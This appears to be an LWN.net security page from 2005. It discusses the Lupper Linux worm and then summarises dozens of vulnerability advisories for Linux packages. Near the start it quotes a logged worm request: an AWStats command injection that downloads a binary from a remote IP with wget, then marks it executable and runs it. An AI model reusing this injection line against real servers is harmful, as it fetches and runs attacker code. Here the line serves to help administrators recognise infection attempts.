Security companies and Linux critics worldwide have been happy to proclaim
the existence of the "Lupper" worm, the first Linux-based worm to hit the
net in years. This worm gets into systems by way of the various PHP
XML-RPC vulnerabilities which have been reported (and fixed) over the last
year. Infected systems, apparently, become part of a distributed bot net,
waiting for somebody to tell them what to do.
According to McAfee's Lupper
page, there are a couple of signs of infection: processes listening on
UDP ports 7111 and 7222, and a /tmp/lupii file. Attempted
infections can be seen in the web server logs; they look something like
either of following:
GET /awstats/awstats.pl?configdir=|echo;echo YYY; \
cd /tmp;wget 24.224.174.18/listen;chmod +x listen; \
./listen 216.102.212.115;echo YYY;echo|
POST /drupal/xmlrpc.php
(The first line has been broken up, and %-escapes have been replaced for
readability).
The above lines were taken directly from the LWN.net server log. Thus far,
our server has bravely fended off Lupper attacks from all of five different
sources. So it looks like the attack of the Lupper worm is unlikely to
bring down the net as a whole.
In fact, it would be easy to write off this worm altogether. It attacks
vulnerabilities which few systems had in the first place. Said
vulnerabilities were disclosed - and fixed - months ago. Even Fedora
Legacy - which has not produced an update since September 15 - managed
to get a fix out for this problem. Any system whose administrator applies
security updates will not have been affected by this particular worm. Most
administrators need not go into red-alert status over this one.
That said, it behooves us to notice that Lupper is, indeed, a Linux worm
propagating in the wild. Any of us who feel that, because we are running
Linux, we are immune from worms and other such annoyances have just
received a gentle warning. Someday, somebody will write a worm which
exploits a vulnerability which is widespread and which has not been known
for months. Indeed, they might happen upon a hole which has not been
disclosed at all. On that day, we may all find ourselves feeling rather
less smug.
For those of you running clamav on your mail streams: a remote code
execution vulnerability has been disclosed in this package. Exploits in
the near future would not be a surprising development. Upgrade to version
0.87.1 for the fix, or apply the distributor updates sure to come soon.
Click below for the advisory.
Mike O'Connor discovered that the default installation of Horde3 on
Debian includes an administrator account without a password. Already
configured installations will not be altered by this update.
The libungif library has a vulnerability in the GIF file
colormap handling code. A maliciously crafted GIF file can
cause out of bounds memory writing and register corruption.
There are multiple vulnerabilities in PHP, including malicious requests may overwrite the GLOBALS array, the parse_str() function may enable the
register_globals setting, cross-site scripting bugs in phpinfo() and a bug in EXIF image parsing that may crash the process.
Thomas Gerisch found that the setuid 'chfn' program contained in the
pwdutils suite insufficiently checks it's arguments when changing the GECOS
field. This bug leads to a trivially exploitable local privilege escalation
that allows users to gain root access.
Javier Fernández-Sanguino Peña from the Debian Security Audit team
discovered that the syslogtocern script from thttpd, a tiny webserver,
uses a temporary file insecurely, allowing a local attacker to craft a
symlink attack to overwrite arbitrary files.
The GNU a2ps utility fails to properly sanitize filenames, which can be
abused by a malicious user to execute arbitrary commands with the
privileges of the user running the vulnerable application. More
information at Security
Focus.
The RTF import module of the AbiWord word processor has a
buffer overflow vulnerability. A user can be tricked into
opening a maliciously crafted RTF file, giving the attacker
the ability to execute code with the permissions of the user.
An information disclosure vulnerability was discovered in mod_ssl, the SSL/TLS module of the Apache webserver. When "SSLVerifyClient optional" was configured in the global virtual host configuration, an "SSLVerifyClient require" in per-location context was not enforced.
Watchfire reported a flaw that occurred when using the Apache server as an
HTTP proxy. A remote attacker could send an HTTP request with both a
"Transfer-Encoding: chunked" header and a "Content-Length" header. This
caused Apache to incorrectly handle and forward the body of the request in
a way that the receiving server processes it as a separate HTTP request.
This could allow the bypass of Web application firewall protection or lead
to cross-site scripting (XSS) attacks.
Marc Stern reported an off-by-one overflow in the mod_ssl CRL verification
callback. In order to exploit this issue the Apache server would need to
be configured to use a malicious certificate revocation list (CRL).
AWStats has a command injection vulnerability that can
be exploited by specially crafting referrer URLs that
contain Perl code. The code can then be executed with the
privileges of the web server.
A race condition in bzip2 1.0.2 and earlier allows local users to modify
permissions of arbitrary files via a hard link attack on a file while it is
being decompressed, whose permissions are changed by bzip2 after the
decompression is complete. Also specially crafted bzip2 archives may cause
an infinite loop in the decompressor.
François-René Rideau discovered a bug in common-lisp-controller, a
Common Lisp source and compiler manager, that allows a local user to
compile malicious code into a cache directory which is executed by
another user if that user has not used Common Lisp before.
There is a vulnerability in
cpio (2.6 and previous) that allows a malicious cpio file to
extract to an arbitrary directory of the attackers choice. cpio will
extract to the path specified in the cpio file, this path can be absolute.
A vulnerability in libcurl's NTLM function can overflow a stack-based
buffer if given too long a user name or domain name in NTLM authentication
is enabled and either a) pass a user and domain name to libcurl that
together are longer than 192 bytes or b) allow (lib)curl to follow HTTP
redirects and the new URL contains a URL with a user and domain name that
together are longer than 192 bytes. See this iDEFENSE Labs advisory for more details.
Cyrus-imapd, prior to version 2.2.12, contains several buffer overflows which could be exploited by an (authenticated) attacker to run code on the server system.
Joxean Koret discovered that the SVG import plugin did not properly
sanitize data read from an SVG file. By tricking an user into opening
a specially crafted SVG file, an attacker could exploit this to
execute arbitrary code with the privileges of the user.
A buffer overflow flaw in Elm was
discovered that was triggered by viewing a mailbox containing a message
with a carefully crafted 'Expires' header. An attacker could create a
malicious message that would execute arbitrary code with the privileges of
the user who received it.
Max Vozeler discovered a format string vulnerability in the "movemail"
utility of Emacs. By sending specially crafted packets, a malicious
POP3 server could cause a buffer overflow, which could be exploited to
execute arbitrary code with the privileges of the user and the "mail"
group.
The key selection dialog from the Mozilla Thunderbird enigmail plugin
has an information disclosure vulnerability.
A key with an empty user id from a user's keyring will be used by
default, allowing a message to be decrypted. This can lead to an
unauthorized information disclosure.
Erik Sjölund has discovered several security relevant problems in enscript,
a program to convert ASCII text into Postscript and other formats.
Unsanitized input can cause the execution of arbitrary commands via EPSF
pipe support. Due to missing sanitizing of filenames it is possible that a
specially crafted filename can cause arbitrary commands to be executed.
Multiple buffer overflows can cause the program to crash.
A number of security flaws have been discovered in Ethereal. On a system
where Ethereal is running, a remote attacker could send malicious packets
to trigger these flaws and cause Ethereal to crash or potentially execute
arbitrary code.
The fetchmailconf utility can create files which are world-readable for a brief period. These files may contain passwords, and thus should not be created in this manner.
The Firefox browser has multiple vulnerabilities including problems with
XBM image file processing, Unicode
sequence processing, XMLHttp requests, malicious XBL binding,
a JavaScript engine buffer overflow, about: pages,
opening of new windows, and command line URL processing.
There is a vulnerability in the foomatic-filters package. This
vulnerability is due to insufficient checking of command-line parameters
and environment variables in the foomatic-rip filter. This vulnerability
may allow both local and remote attackers to execute arbitrary commands on
the print server with the permissions of the spooler.
Tavis Ormandy of the Gentoo Linux Security Audit Team discovered an integer
overflow in the BFD library, resulting in a heap overflow. A review also
showed that by default, gdb insecurely sources initialization files from
the working directory. Successful exploitation would result in the
execution of arbitrary code on loading a specially crafted object file or
the execution of arbitrary commands.
A format string vulnerability has been discovered in gedit. Calling
the program with specially crafted file names caused a buffer
overflow, which could be exploited to execute arbitrary code with the
privileges of the gedit user.
gettext insecurely creates temporary files in world-writeable directories
with predictable names. A local attacker could create symbolic links in
the temporary files directory, pointing to a valid file somewhere on the
filesystem. When gettext is called, this would result in file access with
the rights of the user running the utility, which could be the root user.
The catchsegv script in the glibc package has a symlink vulnerability
that may allow a local user to overwrite arbitrary
files with the permissions of the user that is running the script.
Recently, Trustix Secure Linux discovered a vulnerability in the groff
package. The utility "groffer" created a temporary directory in an
insecure way, which allowed exploitation of a race condition to create
or overwrite files with the privileges of the user invoking the
program.
zgrep in gzip before 1.3.5 does not handle shell metacharacters like '|'
and '&' properly when they occurred in input file names. This could be
exploited to execute arbitrary commands with user privileges if zgrep is
run in an untrusted directory with specially crafted file names.
Michael Krax discovered that ht://Dig fails to validate the 'config'
parameter before displaying an error message containing the parameter.
This flaw could allow an attacker to conduct cross-site scripting
attacks.
A buffer overflow flaw was found in the c-client IMAP client. An attacker
could create a malicious IMAP server that if connected to by a victim could
execute arbitrary code on the client machine.
The kdebase package (and kcheckpass in particular) found in KDE versions 3.2.0 through 3.4.2 suffers from a lock file handling error which can enable a local attacker to obtain root access. See this advisory for details.
Kate / Kwrite, as shipped with KDE 3.2.x up to including 3.4.0, creates a file backup before saving a modified file. These backup files are created with default permissions, even if the original file had more strict permissions set. See this advisory for more information.
A number of vulnerabilities have been found in the Linux kernel, including a PPP-related denial of service problem, an integer overflow in the epoll() code, memory corruption in the ELF loader, and exploitable overflows in the ISO9660 code.
The KOffice RTF import module suffers from a buffer overflow vulnerability
which could be exploited via a malicious RTF file. See the KDE
advisory for details.
The krb5 authentication has a double-free flaw which may be
initiated by a remote unauthenticated attacker.
Also, a single byte heap overflow in the krb5_unparse_name() function
can lead to a denial of service and an information disclosure may
be caused by a malicious telnet server. See
This report for more
information.
Mark Martinec and Robert Lewis discovered a buffer overflow in
Convert::UUlib (before 1.051), a Perl interface to the uulib library, which
may result in the execution of arbitrary code.
Javier Fernández-Sanguino Peña from the Debian Security Audit Project
discovered that the DBI library, the Perl5 database interface, creates
a temporary PID file in an insecure manner. This can be exploited by a
malicious user to overwrite arbitrary files owned by the person
executing the parts of the library.
Szymon Zygmunt and Michal Bartoszkiewicz discovered a memory alignment
error in libgadu (from ekg, console Gadu Gadu client, an instant
messaging program) which is included in gaim, a multi-protocol instant
messaging client, as well. This can not be exploited on the x86
architecture but on others, e.g. on Sparc and lead to a bus error,
in other words a denial of service.
Several buffer overflows have been discovered in libgd's PNG handling
functions.
If an attacker tricked a user into loading a malicious PNG image, they
could leverage this into executing arbitrary code in the context of
the user opening image. Most importantly, this library is commonly
used in PHP. One possible target would be a PHP driven photo website
that lets users upload images. Therefore this vulnerability might lead
to privilege escalation to a web server's privileges.
Multiple buffer overflows in the gd graphics library (libgd) 2.0.21 and
earlier may allow remote attackers to execute arbitrary code via malformed
image files that trigger the overflows due to improper calls to the
gdMalloc function.
Steve Kemp discovered two format string vulnerabilities in libgda2,
the GNOME Data Access library for GNOME2, which may lead to the
execution of arbitrary code in programs that use this library.
Javier Fernandez-Sanguino Pena discovered that this library used the
file /tmp/entropy as a fallback entropy source if a proper source was
not set in the environment variable EGD_PATH. This can potentially
lead to weakened cryptographic operations if an attacker provides a
/tmp/entropy file with known content.
libpam-ldap, the PAM LDAP interface, has a vulnerability in which
it fails to authenticate with an LDAP server which is not configured
properly, allowing an authentication bypass.
Tavis Ormandy of the Gentoo Linux Security Audit Team discovered a
stack based buffer overflow in the libTIFF library when reading a TIFF
image with a malformed BitsPerSample tag. Successful exploitation would
require the victim to open a specially crafted TIFF image, resulting in the
execution of arbitrary code.
Yuuichi Teranishi discovered a flaw in libxml2 versions prior to 2.6.6.
When fetching a remote resource via FTP or HTTP, libxml2 uses special
parsing routines. These routines can overflow a buffer if passed a very
long URL. If an attacker is able to find an application using libxml2 that
parses remote resources and allows them to influence the URL, then this
flaw could be used to execute arbitrary code.
libxml2 prior to version 2.6.14 has multiple buffer overflow
vulnerabilities, if a local user passes a specially crafted
FTP URL, arbitrary code may be executed.
Javier Fernández-Sanguino Peña noticed that the pwmconfig script created
temporary files in an insecure manner. This could allow a symlink attack to
create or overwrite arbitrary files with full root privileges since
pwmconfig is usually executed by root.
Ulf Harnhammar discovered a stack overflow
bug in Lynx when handling connections to NNTP (news) servers. An attacker
could create a web page redirecting to a malicious news server which could
execute arbitrary code as the user running lynx.
Mantis contains several vulnerabilities, including a remote file inclusion
vulnerability, an SQL injection vulnerability, multiple cross site
scripting vulnerabilities and multiple information disclosure
vulnerabilities.
mod_python has a vulnerability in the publisher handler that may allow
a remote user to use a specially crafted URL to allow access to
objects that should be protected. An information leak can result.
The mysql CREATE FUNCTION can be used to create a buffer overflow.
A specially crafted long function name can be used by a local attacker
to crash the server or execute arbitrary code with the privileges of
the server.
Erik Sjolund discovered two vulnerabilities in the programs bundled
with ncpfs: there is a potentially exploitable buffer overflow in
ncplogin (CAN-2005-0014), and due to a flaw in nwclient.c, utilities
using the NetWare client functions insecurely access files with
elevated privileges (CAN-2005-0013).
Arjan van de Ven discovered a buffer overflow in rquotad on 64bit
architectures; an improper integer conversion could lead to a buffer
overflow. An attacker with access to an NFS share could send a specially
crafted request which could then lead to the execution of arbitrary code.
When starting xntpd with the -u option and specifying the
group by using a string not a numeric gid the daemon uses
the gid of the user not the group. This problem is now fixed
by this update.
OpenSSH prior to version 4.2 will allow GSSAPI credentials to be delegated to users who are not using GSSAPI authentication, possibly leading to the unwanted disclosure of those credentials. OpenSSH 4.2 has the fix.
OpenSSL prior to version 0.9.7h or 0.9.8a contains a vulnerability which could enable an attacker to force the use of the older, less secure SSL 2.0 protocol. See this advisory for details or this analysis for even more details.
A buffer overflow has been discovered in the PCRE, a widely used library
that provides Perl compatible regular expressions. Specially crafted
regular expressions triggered a buffer overflow. On systems that accept
arbitrary regular expressions from untrusted users, this could be exploited
to execute arbitrary code with the privileges of the application using the
library.
There are two vulnerabilities with perl when it is used in a setuid mode. The PERLIO_DEBUG environment variable can be used to overwrite arbitrary files; there is also an associated buffer overflow which can be exploited to gain root access.
Stefan Esser discovered that by calling certain PHP files directly, it
was possible to workaround the grab_globals.lib.php security model and
overwrite the $cfg configuration array. Systems running PHP in safe
mode are not affected. Futhermore, Tobias Klein reported several
cross-site-scripting issues resulting from insufficient user input
sanitizing. A local attacker may exploit this vulnerability by sending
malicious requests, causing the execution of arbitrary code with the rights
of the user running the web server. Furthermore, the cross-site scripting
issues give a remote attacker the ability to inject and execute malicious
script code or to steal cookie-based authentication credentials,
potentially compromising the victim's browser.
PostgreSQL suffers from two vulnerabilities in how databases are set up by default; they allow a local attacker (one with access to the database) to crash the back end and, perhaps, execute code with the privileges of the server process. See this advisory for details and workarounds.
Steven Van Acker has discovered a buffer overflow vulnerability in the
"add_port()" function in Pound 1.8.2+. A remote attacker could send a
request for an overly long hostname parameter, which could lead to the
remote execution of arbitrary code with the rights of the Pound daemon
process.
Max Vozeler reported that pstotext calls the GhostScript interpreter on
untrusted PostScript files without specifying the -dSAFER option. An
attacker could craft a malicious PostScript file and entice a user to run
pstotext on it, resulting in the execution of arbitrary commands with the
permissions of the user running pstotext. See this Secunia advisory for more information.
Py2Play uses Python pickles to send objects over a peer-to-peer game network, that clients accept without restriction the objects and code sent by peers. A remote attacker participating in a Py2Play-powered game can send
malicious Python pickles, resulting in the execution of arbitrary
Python code on the targeted game client.
Max Vozeler discovered a vulnerability in pppoe, the PPP over Ethernet
driver from Roaring Penguin. When the program is running setuid root
(which is not the case in a default Debian installation), an attacker
could overwrite any file on the file system.
Upstream developers of squid, the popular WWW proxy cache, have
discovered that changes in the authentication scheme are not handled
properly when given certain request sequences while NTLM
authentication is in place, which may cause the daemon to restart.
Versions of Squirrelmail prior to 1.4.5 have an error in how the $_POST variable is handled. As a result, a user's preferences can be viewed and modified.
Tavis Ormandy noticed that sudo, a program that provides limited super
user privileges to specific users, does not clean the environment
sufficiently. The SHELLOPTS and PS4 variables are dangerous and are
still passed through to the program running as privileged user. This
can result in the execution of arbitrary commands as privileged user
when a bash script is executed. These vulnerabilities can only be
exploited by users who have been granted limited super user
privileges.
Charles Morris discovered a race condition in sudo which could lead to
privilege escalation. If /etc/sudoers allowed a user the execution of
selected programs, and this was followed by another line containing
the pseudo-command "ALL", that user could execute arbitrary commands
with sudo by creating symbolic links at a certain time.
Bill Stearns discovered a bug in the way sysreport creates temporary files.
It is possible that a local attacker could obtain sensitive information
about the system when sysreport is run.
The tar utility does not properly filter file names containing
"../", meaning that a hostile archive can, if unpacked by an
unsuspecting user, overwrite any file that is writable by that user. GNU
tar versions 1.13.19 and earlier are vulnerable; unzip through version 5.42
has the same vulnerability.
The rsvp_print function in tcpdump 3.9.1 and earlier allows remote
attackers to cause a denial of service (infinite loop) via a crafted RSVP
packet of length 4. (CAN-2005-1280)
tcpdump 3.8.3 and earlier allows remote attackers to cause a denial of
service (infinite loop) via a crafted BGP packet, which is not properly
handled by RT_ROUTING_INFO, or LDP packet, which is not properly
handled by the ldp_print function. (CAN-2005-1279)
The isis_print function, as called by isoclns_print, in tcpdump 3.9.1 and
earlier allows remote attackers to cause a denial of service (infinite
loop) via a zero length, as demonstrated using a GRE packet.
(CAN-2005-1278)
Due to improper input validation, TikiWiki can
be exploited to perform cross-site scripting attacks. A remote
attacker could exploit this to inject and execute malicious script code or
to steal cookie-based authentication credentials, potentially compromising
the victim's browser.
A denial of service bug was found in the way ucd-snmp uses network stream
protocols. A remote attacker could send a ucd-snmp agent a specially
crafted packet which will cause the agent to crash.
Masanari Yamamoto discovered that Uim uses environment variables
incorrectly. This bug causes a privilege escalation if setuid/setgid
applications are linked to libuim. This bug only affects
immodule-enabled Qt (if you build Qt 3.3.2 or later versions with
USE="immqt" or USE="immqt-bc").
Unzip has a race condition vulnerability
in the handling of output files.
During file unpacking, a local attacker can modify the permissions
of arbitrary files in the victim's directory.
Linux umount command as provided in the util-linux package in
versions 2.8 to 2.12q, 2.13-pre1 and 2.13-pre2 grants root privileges. See this BugTraq post for more information.
crontab in Vixie cron 4.1, when running with the -e option, allows local
users to read the cron files of other users by changing the file being
edited to a symlink. NOTE: there is insufficient information to know
whether this is a duplicate of CVE-2001-0235. See also this Security Focus
report.
xtensive testing of libwww's handling of multipart/byteranges content from
HTTP/1.1 servers revealed multiple logical flaws and bugs in
Library/src/HTBound.c
XChat is vulnerable to a stack overflow that may allow a remote attacker to
run arbitrary code. The SOCKS 5 proxy code in XChat is vulnerable to a
remote exploit. Users would have to be using XChat through a SOCKS 5
server, enable SOCKS 5 traversal which is disabled by default and also
connect to an attacker's custom proxy server. This vulnerability may allow
an attacker to run arbitrary code within the context of the user ID of the
XChat client.
Shaun Colley discovered a problem in xine-ui, the xine video player
user interface. A script contained in the package to possibly remedy
a problem or report a bug does not create temporary files in a secure
fashion. This could allow a local attacker to overwrite files with
the privileges of the user invoking xine.
Three buffer overflows were discovered in xloadimage when handling the image title name. A malicious user can construct a NIFF file that when viewed and processed (with either zoom, reduce or rotate) by xloadimage, will cause the program to overwrite the return address and execute arbitrary code.
The pixmap memory allocation code in the X.Org X window system is
vulnerable to an integer overflow, a local user can use this to
execute arbitrary code with elevated privileges.
A flaw was discovered in Xpdf in that could allow an attacker to construct
a carefully crafted PDF file that would cause Xpdf to consume all available
disk space in /tmp when opened.
LayerOne is a security conference held in the Los Angeles, California
area. The call for papers is out now, with submissions due by
March 31. Click below for the full announcement.
